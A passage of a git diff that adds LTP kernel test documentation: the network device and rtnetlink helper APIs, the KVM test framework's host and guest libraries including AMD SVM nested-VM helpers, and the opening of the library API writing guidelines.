+"CONFIG_VETH"+ to +test.needs_kconfigs+ if your + test calls this function. + +- +int NETDEV_ADD_DEVICE(const char *ifname, const char *devtype)+ - Creates + a new network device named +ifname+ of specified device type. Returns 1 on + success, 0 on error. + +- +int NETDEV_REMOVE_DEVICE(const char *ifname)+ – Removes network device + +ifname+. Returns 1 on success, 0 on error. + +2.2 Network address management +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- +int NETDEV_ADD_ADDRESS(const char \*ifname, unsigned int family, const void + *address, unsigned int prefix, size_t addrlen, unsigned int flags)+ – Adds + new address to network device +ifname+. This is a low-level function which + allows setting any type of address. You must specify the protocol +family+, + address length in bytes (+addrlen+) and network prefix length (+prefix+). The + +address+ itself must be in binary representation in network byte order. You + can also pass rtnetlink flags from the +IFA_F_*+ group. Returns 1 on success, + 0 on error. + +- +int NETDEV_ADD_ADDRESS_INET(const char *ifname, in_addr_t address, unsigned + int prefix, unsigned int flags)+ – Adds new IPv4 address to network device + +ifname+. Parameters have the same meaning as in +NETDEV_ADD_ADDRESS()+. + Returns 1 on success, 0 on error. + +- +int NETDEV_REMOVE_ADDRESS(const char *ifname, unsigned int family, const + void *address, size_t addrlen)+ – Removes the specified address from network + device +ifname+. Parameters have the same meaning as in + +NETDEV_ADD_ADDRESS()+. Returns 1 on success, 0 on error. + +- +int NETDEV_REMOVE_ADDRESS_INET(const char *ifname, in_addr_t address)+ – + Removes specified IPv4 +address+ (in network byte order) from network device + +ifname+. Returns 1 on success, 0 on error. + +2.3 Network namespace device assignment +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +WARNING: Moving a network device to another namespace will erase previous + configuration. Move the device to the correct namespace first, then + configure it. + +- +int NETDEV_CHANGE_NS_FD(const char *ifname, int nsfd)+ – Moves network + device +ifname+ to network namespace designated by open file descriptor + +nsfd+. Returns 1 on success, 0 on error. + +- +int NETDEV_CHANGE_NS_PID(const char *ifname, pid_t nspid)+ – Moves network + device +ifname+ to the network namespace currently used by process +nspid+. + Returns 1 on success, 0 on error. + +2.4 Routing table management +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- +int NETDEV_ADD_ROUTE(const char *ifname, unsigned int family, const void + *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, + unsigned int dstprefix, size_t dstlen, const void *gateway, size_t + gatewaylen)+ – Adds new route to the main routing table. This is a low-level + function which allows creating routes for any protocol. You must specify the + protocol +family+ and either network device name +ifname+ or +gateway+ + address. Both packet source address +srcaddr+ and destination address + +dstaddr+ are optional. You must also specify the corresponding length + and prefix argument for any address which is not +NULL+. All addresses must + be in binary representation in network byte order. Returns 1 on success, + 0 on error. + +- +int NETDEV_ADD_ROUTE_INET(const char *ifname, in_addr_t srcaddr, unsigned + int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t + gateway)+ – Adds new IPv4 route to the main routing table. Parameters have + the same meaning as in +NETDEV_ADD_ROUTE()+. If you do not want to set + explicit +gateway+ address, set it to 0. If the routing rule should ignore + the source or destination address, set the corresponding prefix argument + to 0. Returns 1 on success, 0 on error. + +- +int NETDEV_REMOVE_ROUTE(const char *ifname, unsigned int family, const void + *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, + unsigned int dstprefix, size_t dstlen, const void *gateway, size_t + gatewaylen)+ – Removes a route from the main routing table. Parameters have + the same meaning as in +NETDEV_ADD_ROUTE()+. Returns 1 on success, 0 on + error. + +- +int NETDEV_REMOVE_ROUTE_INET(const char *ifname, in_addr_t srcaddr, + unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t + gateway)+ – Removes IPv4 route from the main routing table. Parameters have + the same meaning as in +NETDEV_ADD_ROUTE_INET()+. Returns 1 on success, + 0 on error. + +Example Usage ++++++++++++++ +[source,c] +------------------------------------------------------------------------------- +#include +#include +#include "tst_test.h" +#include "tst_netdevice.h" + +... + +static void setup(void) +{ + CREATE_VETH_PAIR("ltp_veth1", "ltp_veth2"); + NETDEV_ADD_ADDRESS_INET("ltp_veth2", htonl(DSTADDR), NETMASK, + IFA_F_NOPREFIXROUTE); + NETDEV_SET_STATE("ltp_veth2", 1); + NETDEV_ADD_ROUTE_INET("ltp_veth2", 0, 0, htonl(SRCNET), NETMASK, 0); + + NETDEV_ADD_ADDRESS_INET("ltp_veth1", htonl(SRCADDR), NETMASK, + IFA_F_NOPREFIXROUTE); + NETDEV_SET_STATE("ltp_veth1", 1); + NETDEV_ADD_ROUTE_INET("ltp_veth1", 0, 0, htonl(DSTNET), NETMASK, 0); + ... +} +------------------------------------------------------------------------------- + +3 rtnetlink API +--------------- + ++#include "tst_rtnetlink.h"+ + +The rtnetlink library provides helper functions for constructing and sending +arbitrary messages and parsing kernel responses. + +All of the functions below will call +tst_brk()+ on failure, unless stated +otherwise. Error values described below are returned only during test cleanup +stage. + +3.1 Data structures +~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +struct tst_rtnl_context; + +struct tst_rtnl_attr_list { + unsigned short type; + const void *data; + ssize_t len; + const struct tst_rtnl_attr_list *sublist; +}; + +struct tst_rtnl_message { + struct nlmsghdr *header; + struct nlmsgerr *err; + void *payload; + size_t payload_size; +}; +------------------------------------------------------------------------------- + ++struct tst_rtnl_context+ is an opaque rtnetlink socket with buffer for +constructing and sending arbitrary messages using the functions described +below. Create a new context using +RTNL_CREATE_CONTEXT()+, then free it using ++RTNL_DESTROY_CONTEXT()+ when you're done with it. + ++struct tst_rtnl_attr_list+ is a helper structure for defining complex +rtnetlink message attribute payloads, including nested attribute lists. Every +list and sublist defined using this structure is terminated by item with +negative +len+. + +- +type+ is the attribute type that will be stored in +struct rtattr.rta_type+. + +- +data+ contains arbitrary attribute payload. + +- +len+ contains length of the +data+ attribute in bytes. If +data+ is +NULL+, + set +len+ to 0. The last item in a list or sublist must have negative length. + +- +sublist+ contains a nested attribute list which will be appended after + +data+ as part of the attribute payload. +struct rtattr.rta_len+ will be + calculated automatically with proper alignment, do _not_ add the sublist size + to the +len+ field. If you do not want to add nested attributes, set + +sublist+ to +NULL+. + ++struct tst_rtnl_message+ is a structure holding partially parsed rtnetlink +messages received from the kernel. +RTNL_RECV()+ returns an array of these +structures with the last item having +NULL+ in the +header+ field. Call ++RTNL_FREE_MESSAGE()+ to free a message list returned by +RTNL_RECV()+. + +- +header+ is the netlink header structure of the message. +NULL+ in the header + field terminates a list of messages. + +- +err+ points to the payload of +NLMSG_ERROR+ messages. It is set to +NULL+ + for all other message types. + +- +payload+ is a pointer to message data. + +- +payload_size+ is the length of +payload+ data in bytes. + +3.2 Sending and receiving messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- +struct tst_rtnl_context *RTNL_CREATE_CONTEXT(void)+ – Creates a new + rtnetlink communication context for use with the functions described below. + Returns +NULL+ on error. + +- +void RTNL_FREE_MESSAGE(struct tst_rtnl_message *msg)+ – Frees an array of + messages returned by +RTNL_RECV()+. + +- +void RTNL_DESTROY_CONTEXT(struct tst_rtnl_context *ctx)+ – Closes a + communication context created by +RTNL_CREATE_CONTEXT()+. + +- +int RTNL_SEND(struct tst_rtnl_context *ctx)+ – Sends all messages waiting + in +ctx+ buffer to the kernel. If there are multiple messages to send, a new + +NLMSG_DONE+ message will be added automatically. Returns the number of + bytes sent on success. Return 0 or negative value on error. + +- +int RTNL_SEND_VALIDATE(struct tst_rtnl_context *ctx)+ – Sends all messages + just like +RTNL_SEND()+, then receives the response from the kernel and + validates results of requests sent with the +NLM_F_ACK+ flag. This function + calls +tst_brk()+ as usual if communication fails but it will return error + status without terminating the test if one of the received messages contains + error code. See +RTNL_CHECK_ACKS()+ below for explanation of the return + value. + +- +int RTNL_WAIT(struct tst_rtnl_context *ctx)+ – Waits until data becomes + available to read from the rtnetlink socket (timeout: 1 second). Returns 1 + if there is data to read, 0 on timeout or -1 on error. + +- +struct tst_rtnl_message *RTNL_RECV(struct tst_rtnl_context *ctx)+ – Receives + rtnetlink messages from the kernel. The messages are received in non-blocking + mode so calling +RTNL_WAIT()+ first is recommended. Returns an array of + partially parsed messages terminated by an item with +NULL+ in the +header+ + field. On error or when there are no messages to receive, returns +NULL+. + Call +RTNL_FREE_MESSAGE()+ to free the returned data. + +- +int RTNL_CHECK_ACKS(struct tst_rtnl_context *ctx, struct tst_rtnl_message + *response)+ – Validate results of requests sent with the +NLM_F_ACK+ flag. + Do not call +RTNL_ADD_MESSAGE()+ between +RTNL_SEND()+ and + +RTNL_CHECK_ACKS()+ because it will reset the state of +ctx+ and prevent + result validation. Returns 1 if all messages sent with the +NLM_F_ACK+ flag + have a corresponding message in +response+ and the error code is 0. If any + of the expected response messages is missing, this function will call + +tst_brk()+ (or return 0 during test cleanup phase). If any of the response + messages has non-zero error code, this function will return 0 and store the + first non-zero error code in global variable +tst_rtnl_errno+ (sign-flipped + just like regular libc +errno+). + +3.3 Creating messages +~~~~~~~~~~~~~~~~~~~~~ + +- +int RTNL_ADD_MESSAGE(struct tst_rtnl_context *ctx, const struct nlmsghdr + *header, const void *payload, size_t payload_size)+ – Adds new rtnetlink + message to +ctx+ buffer. You need to provide message +header+ and optional + +payload+. +payload_size+ is the size of +payload+ data in bytes. If you + don't want to add any payload data, set +payload+ to +NULL+ and + +payload_size+ to 0. This function will automatically fill the +nlmsg_len+, + +nlmsg_seq+ and +nlmsg_pid+ fields of the new message header. You don't need + to set those. It'll also automatically add +NLM_F_MULTI+ flag when needed. + Returns 1 on success, 0 on error. Note that the first call of + +RTNL_ADD_MESSAGE()+ after +RTNL_SEND()+ will reset the state of +ctx+ + and +RTNL_CHECK_ACKS()+ will not work correctly until the next +RTNL_SEND()+. + +- +int RTNL_ADD_ATTR(struct tst_rtnl_context *ctx, unsigned short type, const + void *data, unsigned short len)+ – Adds new attribute to the last message + in +ctx+ buffer. See +RTNL_ADD_MESSAGE()+. You need to provide attribute + +type+ which will be stored in +struct rtattr.rta_type+, optional payload + +data+ and payload size +len+ in bytes. If you don't want to add any payload, + set +data+ to +NULL+ and +len+ to 0. Returns 1 on success, 0 on error. + +- +int RTNL_ADD_ATTR_STRING(struct tst_rtnl_context *ctx, unsigned short type, + const char *data)+ – Adds new string attribute to the last message in +ctx+ + buffer. Parameters and return value are the same as for +RTNL_ADD_ATTR()+, + except the payload length is calculated using +strlen()+. + +- +int RTNL_ADD_ATTR_LIST(struct tst_rtnl_context *ctx, const struct + tst_rtnl_attr_list *list)+ – Adds a list of attributes to the last message + in +ctx+ buffer. See description of +struct tst_rtnl_attr_list+ and + +RTNL_ADD_MESSAGE()+ above. Returns the number of added attributes on + success (nested attributes are not counted), -1 on error. + +Example Usage ++++++++++++++ +[source,c] +------------------------------------------------------------------------------- +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_rtnetlink.h" +#include "tst_netdevice.h" + +... + +void setup(void) +{ + struct tst_rtnl_context *ctx; + int index, ret; + in_addr_t addr; + + struct nlmsghdr header = { + .nlmsg_type = RTM_NEWADDR, + .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | + NLM_F_EXCL + }; + + struct ifaddrmsg info = { + .ifa_family = AF_INET, + .ifa_prefixlen = 24 + }; + + index = NETDEV_INDEX_BY_NAME("ltp_veth1"); + info.ifa_index = index; + + ctx = RTNL_CREATE_CONTEXT(); + RTNL_ADD_MESSAGE(ctx, &header, &info, sizeof(info)); + addr = inet_addr("192.168.123.45"); + RTNL_ADD_ATTR(ctx, IFA_LOCAL, &addr, sizeof(addr)); + ret = RTNL_SEND_VALIDATE(ctx); + RTNL_DESTROY_CONTEXT(ctx); + + if (!ret) { + tst_brk(TBROK, "Failed to set ltp_veth1 address"); + } +} +------------------------------------------------------------------------------- diff --git a/doc/KVM-Test-API.asciidoc b/doc/KVM-Test-API.asciidoc new file mode 100644 index 00000000..7e537afc --- /dev/null +++ b/doc/KVM-Test-API.asciidoc @@ -0,0 +1,487 @@ +LTP KVM Test API +================ + +Testing KVM is more complex than other Linux features. Some KVM bugs allow +userspace code running inside the virtual machine to bypass (emulated) hardware +access restrictions and elevate its privileges inside the guest operating +system. The worst types of KVM bugs may even allow the guest code to crash or +compromise the physical host. KVM tests therefore need to be split into two +components – a KVM controller program running on the physical host and a guest +payload program running inside the VM. The cooperation of these two components +allows testing even of bugs that somehow cross the virtualization boundary. + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial], + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API]. + +1. Basic KVM test structure +--------------------------- + +KVM tests are simple C source files containing both the KVM controller code +and the guest payload code separated by `#ifdef COMPILE_PAYLOAD` preprocessor +condition. The file will be compiled twice. Once to compile the payload part, +once to compile the KVM controller part and embed the payload binary inside. +The result is a single self-contained binary that'll execute the embedded +payload inside a KVM virtual machine and print results in the same format as +a normal LTP test. + +A KVM test source should start with `#include "kvm_test.h"` instead of the +usual `tst_test.h`. The `kvm_test.h` header file will include the other basic +headers appropriate for the current compilation pass. Everything else in the +source file should be enclosed in `#ifdef COMPILE_PAYLOAD ... #else ... #endif` +condition, including any other header file includes. Note that the standard +LTP headers are not available in the payload compilation pass, only the KVM +guest library headers can be included. + +.Example KVM test +[source,c] +------------------------------------------------------------------------------- +#include "kvm_test.h" + +#ifdef COMPILE_PAYLOAD + +/* Guest payload code */ + +void main(void) +{ + tst_res(TPASS, "Hello, world!"); +} + +#else /* COMPILE_PAYLOAD */ + +/* KVM controller code */ + +static struct tst_test test = { + .test_all = tst_kvm_run, + .setup = tst_kvm_setup, + .cleanup = tst_kvm_cleanup, +}; + +#endif /* COMPILE_PAYLOAD */ +------------------------------------------------------------------------------- + +The KVM controller code is a normal LTP test and needs to define an instance +of `struct tst_test` with metadata and the usual setup, cleanup, and test +functions. Basic implementation of all three functions is provided by the KVM +host library. + +On the other hand, the payload is essentially a tiny kernel that'll run +on bare virtual hardware. It cannot access any files, Linux syscalls, standard +library functions, etc. except for the small subset provided by the KVM guest +library. The payload code must define a `void main(void)` function which will +be the VM entry point of the test. + +2. KVM host library +------------------- + +The KVM host library provides helper functions for creating and running +a minimal KVM virtual machine. + +2.1 Data structures +~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +struct tst_kvm_instance { + int vm_fd, vcpu_fd; + struct kvm_run *vcpu_info; + size_t vcpu_info_size; + struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS]; + struct tst_kvm_result *result; +}; +------------------------------------------------------------------------------- + +`struct tst_kvm_instance` holds the file descriptors and memory buffers +of a single KVM virtual machine: + +- `int vm_fd` is the main VM file descriptor created by `ioctl(KVM_CREATE_VM)` +- `int vcpu_fd` is the virtual CPU filedescriptor created by + `ioctl(KVM_CREATE_VCPU)` +- `struct kvm_run *vcpu_info` is the VCPU state structure created by + `mmap(vcpu_fd)` +- `size_t vcpu_info_size` is the size of `vcpu_info` buffer +- `struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS]` is the list + of memory slots defined in this VM. Unused memory slots have zero + in the `userspace_addr` field. +- `struct tst_kvm_result *result` is a buffer for passing test result data + from the VM to the controller program, mainly `tst_res()`/`tst_brk()` flags + and messages. + +[source,c] +------------------------------------------------------------------------------- +struct tst_kvm_result { + int32_t result; + int32_t lineno; + uint64_t file_addr; + char message[0]; +}; +------------------------------------------------------------------------------- + +`struct tst_kvm_result` is used to pass test results and synchronization data +between the KVM guest and the controller program. Most often, it is used +to pass `tst_res()` and `tst_brk()` messages from the VM, but special values +can also be used to send control flow requests both ways. + +- `int32_t result` is the message type, either one of the `TPASS`, `TFAIL`, + `TWARN`, `TBROK`, `TINFO` flags or a special control flow value. Errno flags + are not supported. +- `int32_t lineno` is the line number for `tst_res()`/`tst_brk()` messages. +- `uint64_t file_addr` is the VM address of the filename string for + `tst_res()`/`tst_brk()` messages. +- `char message[0]` is the buffer for arbitrary message data, most often used + to pass `tst_res()`/`tst_brk()` message strings. + +2.2 Working with virtual machines +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The KVM host library provides default implementation of the setup, cleanup +and test functions for `struct tst_test` in cases where you do not need +to customize the VM configuration. You can either assign these functions +to the `struct tst_test` instance directly or call them from your own function +that does some additional steps. All three function must be used together. + +- `void tst_kvm_setup(void)` +- `void tst_kvm_run(void)` +- `void tst_kvm_cleanup(void)` + +Note: `tst_kvm_run()` calls `tst_free_all()`. Calling it will free all +previously allocated guarded buffers. + +- `void tst_kvm_validate_result(int value)` – Validate whether the value + returned in `struct tst_kvm_result.result` can be safely passed + to `tst_res()` or `tst_brk()`. If the value is not valid, the controller + program will be terminated with error. + +- `uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst, + uint64_t addr)` – Converts pointer value (virtual address) from KVM virtual + machine `inst` to the corresponding physical address. Returns 0 if + the virtual address is not mapped to any physical address. If virtual memory + mapping is not enabled in the VM or not available on the arch at all, this + function simply returns `addr` as is. + +- `int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst, + uint64_t paddr)` – Returns index of the memory slot in KVM virtual machine + `inst` which contains the physical address `paddr`. If the address is not + backed by a memory buffer, returns -1. + +- `int tst_kvm_find_memslot(const struct tst_kvm_instance *inst, + uint64_t addr)` – Returns index of the memory slot in KVM virtual machine + `inst` which contains the virtual address `addr`. If the virtual address + is not mapped to a valid physical address backed by a memory buffer, + returns -1. + +- `void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst, + uint64_t addr)` – Converts pointer value (virtual address) from KVM virtual + machine `inst` to host-side pointer. + +- `void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot, + uint64_t baseaddr, size_t size, unsigned int flags)` – Allocates a guarded + buffer of given `size` in bytes and installs it into specified memory `slot` + of the KVM virtual machine `inst` at base address `baseaddr`. The buffer + will be automatically page aligned at both ends. See the kernel + documentation of `KVM_SET_USER_MEMORY_REGION` ioctl for list of valid + `flags`. Returns pointer to page-aligned beginning of the allocated buffer. + The actual requested `baseaddr` will be located at + `ret + baseaddr % pagesize`. + +- `struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd)` – Get a list of supported + virtual CPU features returned by `ioctl(KVM_GET_SUPPORTED_CPUID)`. + The argument must be an open file descriptor returned by `open("/dev/kvm")`. + +- `void tst_kvm_create_instance(struct tst_kvm_instance *inst, + size_t ram_size)` – Creates and fully initializes a new KVM virtual machine + with at least `ram_size` bytes of memory. The VM instance info will be + stored in `inst`. + +- `int tst_kvm_run_instance(struct tst_kvm_instance *inst, int exp_errno)` – + Executes the program installed in KVM virtual machine `inst`. Any result + messages returned by the VM will be automatically printed to controller + program output. Returns zero. If `exp_errno` is non-zero, the VM execution + syscall is allowed to fail with the `exp_errno` error code and + `tst_kvm_run_instance()` will return -1 instead of terminating the test. + +- `void tst_kvm_destroy_instance(struct tst_kvm_instance *inst)` – Deletes + the KVM virtual machine `inst`. Note that the guarded buffers assigned + to the VM by `tst_kvm_create_instance()` or `tst_kvm_alloc_memory()` will + not be freed. + +The KVM host library does not provide any way to reset a VM instance back +to initial state. Running multiple iterations of the test requires destroying +the old VM instance and creating a new one. Otherwise the VM will exit +without reporting any results on the second iteration and the test will fail. +The `tst_kvm_run()` function handles this issue correctly. + +3. KVM guest library +-------------------- + +The KVM guest library provides a minimal implementation of both the LTP +test library and the standard C library functions. Do not try to include +the usual LTP or C headers in guest payload code, it will not work. + +3.1 Standard C functions +~~~~~~~~~~~~~~~~~~~~~~~~ + +`#include "kvm_test.h"` + +The functions listed below are implemented according to the C standard: + +- `void *memset(void *dest, int val, size_t size)` +- `void *memzero(void *dest, size_t size)` +- `void *memcpy(void *dest, const void *src, size_t size)` +- `char *strcpy(char *dest, const char *src)` +- `char *strcat(char *dest, const char *src)` +- `size_t strlen(const char *str)` + +3.2 LTP library functions +~~~~~~~~~~~~~~~~~~~~~~~~~ + +`#include "kvm_test.h"` + +The KVM guest library currently provides the LTP functions for reporting test +results. All standard result flags except for `T*ERRNO` are supported +with the same rules as usual. However, the printf-like formatting is not +implemented yet. + +- `void tst_res(int result, const char *message)` +- `void tst_brk(int result, const char *message) __attribute__((noreturn))` + +A handful of useful macros is also available: + +- `TST_TEST_TCONF(message)` – Generates a test program that will simply print + a `TCONF` message and exit. This is useful when the real test cannot be + built due to missing dependencies or arch limitations. + +- `ARRAY_SIZE(arr)` – Returns the number of items in statically allocated + array `arr`. + +- `LTP_ALIGN(x, a)` – Aligns integer `x` to be a multiple of `a`, which + must be a power of 2. + +3.3 Arch independent functions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +`#include "kvm_test.h"` + +Memory management in KVM guest library currently uses only primitive linear +buffer for memory allocation. There are no checks whether the VM can allocate +more memory and the already allocated memory cannot be freed. + +- `void *tst_heap_alloc(size_t size)` – Allocates a block of memory on the heap. + +- `void *tst_heap_alloc_aligned(size_t size, size_t align)` – Allocates + a block of memory on the heap with the starting address aligned to given + value. + +3.4 x86 specific functions +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +`#include "kvm_test.h"` + +`#include "kvm_x86.h"` + +- `struct kvm_interrupt_frame` – Opaque arch-dependent structure which holds + interrupt frame information. Use the functions below to get individual values: + +- `uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm)` – + Get instruction pointer value from interrupt frame structure. This may be + the instruction which caused an interrupt or the one immediately after, + depending on the interrupt vector semantics. + +- `int (*tst_interrupt_callback)(void *userdata, + struct kvm_interrupt_frame *ifrm, unsigned long errcode)` – Interrupt handler + callback prototype. When an interrupt occurs, the assigned callback function + will be passed the `userdata` pointer that was given + to `tst_set_interrupt_callback()`, interrupt frame `ifrm` and the error + code `errcode` defined by the interrupt vector semantics. If the interrupt + vector does not generate an error code, `errcode` will be set to zero. + The callback function must return 0 if the interrupt was successfully + handled and test execution should resume. Non-zero return value means that + the interrupt could not be handled and the test will terminate with error. + +- `void tst_set_interrupt_callback(unsigned int vector, + tst_interrupt_callback func, void *userdata)` – Register new interrupt + handler callback function `func` for interrupt `vector`. The `userdata` + argument is an arbitrary pointer that will be passed to `func()` every time + it gets called. The previous interrupt handler callback will be removed. + Setting `func` to `NULL` will remove any existing interrupt handler + from `vector` and the interrupt will become fatal error. + +[source,c] +------------------------------------------------------------------------------- +struct page_table_entry_pae { + unsigned int present: 1; + unsigned int writable: 1; + unsigned int user_access: 1; + unsigned int write_through: 1; + unsigned int disable_cache: 1; + unsigned int accessed: 1; + unsigned int dirty: 1; + unsigned int page_type: 1; + unsigned int global: 1; + unsigned int padding: 3; + uint64_t address: 40; + unsigned int padding2: 7; + unsigned int prot_key: 4; + unsigned int noexec: 1; +} __attribute__((__packed__)); + +struct kvm_cpuid { + unsigned int eax, ebx, ecx, edx; +}; + +struct kvm_cregs { + unsigned long cr0, cr2, cr3, cr4; +}; + +struct kvm_sregs { + uint16_t cs, ds, es, fs, gs, ss; +}; +------------------------------------------------------------------------------- + +`struct page_table_entry_pae` is the page table entry structure for PAE and +64bit paging modes. See Intel(R) 64 and IA-32 Architectures Software +Developer's Manual, Volume 3, Chapter 4 for explanation of the fields. + +- `uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry)` + – Returns the physical address of the memory page referenced by the given + page table `entry`. Depending on memory mapping changes done by the test, + the physical address may not be a valid pointer. The caller must determine + whether the address points to another page table entry or a data page, using + the known position in page table hierarchy and `entry->page_type`. Returns + zero if the `entry` does not reference any memory page. + +- `void kvm_set_segment_descriptor(struct segment_descriptor *dst, uint64_t baseaddr, uint32_t limit, unsigned int flags)` - + Fill the `dst` segment descriptor with given values. The maximum value + of `limit` is `0xfffff` (inclusive) regardless of `flags`. + +- `void kvm_parse_segment_descriptor(struct segment_descriptor *src, uint64_t *baseaddr, uint32_t *limit, unsigned int *flags)` - + Parse data in the `src` segment descriptor and copy them to variables + pointed to by the other arguments. Any parameter except the first one can + be `NULL`. + +- `int kvm_find_free_descriptor(const struct segment_descriptor *table, size_t size)` - + Find the first segment descriptor in `table` which does not have + the `SEGFLAG_PRESENT` bit set. The function handles double-size descriptors + correctly. Returns index of the first available descriptor or -1 if all + `size` descriptors are taken. + +- `unsigned int kvm_create_stack_descriptor(struct segment_descriptor *table, size_t tabsize, void *stack_base)` - + Convenience function for registering a stack segment descriptor. It'll + automatically find a free slot in `table` and fill the necessary flags. + The `stack_base` pointer must point to the bottom of the stack. + +- `void kvm_get_cpuid(unsigned int eax, unsigned int ecx, + struct kvm_cpuid *buf)` – Executes the CPUID instruction with the given + `eax` and `ecx` arguments and stores the results in `buf`. + +- `void kvm_read_cregs(struct kvm_cregs *buf)` – Copies the current values + of control registers to `buf`. + +- `void kvm_read_sregs(struct kvm_sregs *buf)` - Copies the current values + of segment registers to `buf`. + +- `uint64_t kvm_rdmsr(unsigned int msr)` – Returns the current value + of model-specific register `msr`. + +- `void kvm_wrmsr(unsigned int msr, uint64_t value)` – Stores `value` + into model-specific register `msr`. + +- `void kvm_exit(void) __attribute__((noreturn))` – Terminate the test. + Similar to calling `exit(0)` in a regular LTP test, although `kvm_exit()` + will terminate only one iteration of the test, not the whole host process. + +See Intel(R) 64 and IA-32 Architectures Software Developer's Manual +for documentation of standard and model-specific x86 registers. + +3.5 AMD SVM helper functions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +`#include "kvm_test.h"` + +`#include "kvm_x86.h"` + +`#include "kvm_x86_svm.h"` + +The KVM guest library provides basic helper functions for creating and running +nested virtual machines using the AMD SVM technology. + +.Example code to execute nested VM +[source,c] +------------------------------------------------------------------------------- +int guest_main(void) +{ + ... + return 0; +} + +void main(void) +{ + struct kvm_svm_vcpu *vm; + + kvm_init_svm(); + vm = kvm_create_svm_vcpu(guest_main, 1); + kvm_svm_vmrun(vm); +} +------------------------------------------------------------------------------- + +- `int kvm_is_svm_supported(void)` - Returns non-zero value if the CPU + supports AMD SVM, otherwise returns 0. + +- `int kvm_get_svm_state(void)` - Returns non-zero value if SVM is currently + enabled, otherwise returns 0. + +- `void kvm_set_svm_state(int enabled)` - Enable or disable SVM according + to argument. If SVM is disabled by host or not supported, the test will exit + with `TCONF`. + +- `void kvm_init_svm(void)` - Enable and fully initialize SVM, including + allocating and setting up host save area VMCB. If SVM is disabled by host or + not supported, the test will exit with `TCONF`. + +- `struct kvm_vmcb *kvm_alloc_vmcb(void)` - Allocate new VMCB structure + with correct memory alignment and fill it with zeroes. + +- `void kvm_vmcb_set_intercept(struct kvm_vmcb *vmcb, unsigned int id, unsigned int state)` - + Set SVM intercept bit `id` to given `state`. + +- `void kvm_init_guest_vmcb(struct kvm_vmcb *vmcb, uint32_t asid, uint16_t ss, void *rsp, int (*guest_main)(void))` - + Initialize new SVM virtual machine. The `asid` parameter is the nested + page table ID. The `ss` and `rsp` parameters set the stack segment and stack + pointer values, respectively. The `guest_main` parameter sets the code entry + point of the virtual machine. All control registers, segment registers + (except stack segment register), GDTR and IDTR will be copied + from the current CPU state. + +- `struct kvm_svm_vcpu *kvm_create_svm_vcpu(int (*guest_main)(void), int alloc_stack)` - + Convenience function for allocating and initializing new SVM virtual CPU. + The `guest_main` parameter is passed to `kvm_init_guest_vmcb()`, + the `alloc_stack` parameter controls whether a new 8KB stack will be + allocated and registered in GDT. Interception will be enabled for `VMSAVE` + and `HLT` instructions. If you set `alloc_stack` to zero, you must configure + the stack segment register and stack pointer manually. + +- `void kvm_svm_vmrun(struct kvm_svm_vcpu *cpu)` - Start or continue execution + of a nested virtual machine. Beware that FPU state is not saved. Do not use + floating point types or values in nested guest code. Also do not use + `tst_res()` or `tst_brk()` functions in nested guest code. + +See AMD64 Architecture Programmer's Manual Volume 2 for documentation +of the Secure Virtual Machine (SVM) technology. + +4. KVM guest environment +------------------------ + +KVM guest payload execution begins with bootstrap code which will perform +the minimal guest environment setup required for running C code: + +- Activate the appropriate CPU execution mode (IA-32 protected mode + on 32-bit x86 or the 64-bit mode on x86_64). +- Create indentity mapping (virtual address = physical address) of the lower + 2GB memory region, even if parts of the region are not backed by any host + memory buffers. The memory region above 2GB threshold is left unmapped + except for one memory page reserved for the `struct tst_kvm_result` buffer. +- Initialize 8KB stack. +- Install default interrupt handlers for standard CPU exception vectors. + +When the environment setup is complete, bootstrap will call `void main(void)` +function implemented by the test program. To finish execution of guest payload, +the test can either return from the `main()` function or call `kvm_exit()` +at any point. diff --git a/doc/LTP-Library-API-Writing-Guidelines.asciidoc b/doc/LTP-Library-API-Writing-Guidelines.asciidoc new file mode 100644 index 00000000..3b8c1d97 --- /dev/null +++ b/doc/LTP-Library-API-Writing-Guidelines.asciidoc @@ -0,0 +1,84 @@ +LTP Library API Writing Guidelines +================================== + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API], + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API]. + +1. General Rules +---------------- + +For extending library API it applies the same general rules as for writing tests, +(see https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], +offline: 'doc/test-writing-guidelines.txt'), +with strong focus on readability and simplicity. + +Library tests are in 'lib/newlib_tests' directory. + +Don't forget to update docs when you change the API. + +Environment variables should be listed in +https://github.com/linux-test-project/ltp/wiki/User-Guidelines[LTP User Guidelines] +and in help output (`-h`) for both C and shell API. + +2. C API +-------- + +2.1 LTP-001: Sources have tst_ prefix +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +API source code is in headers in 'include/{empty}*.h', 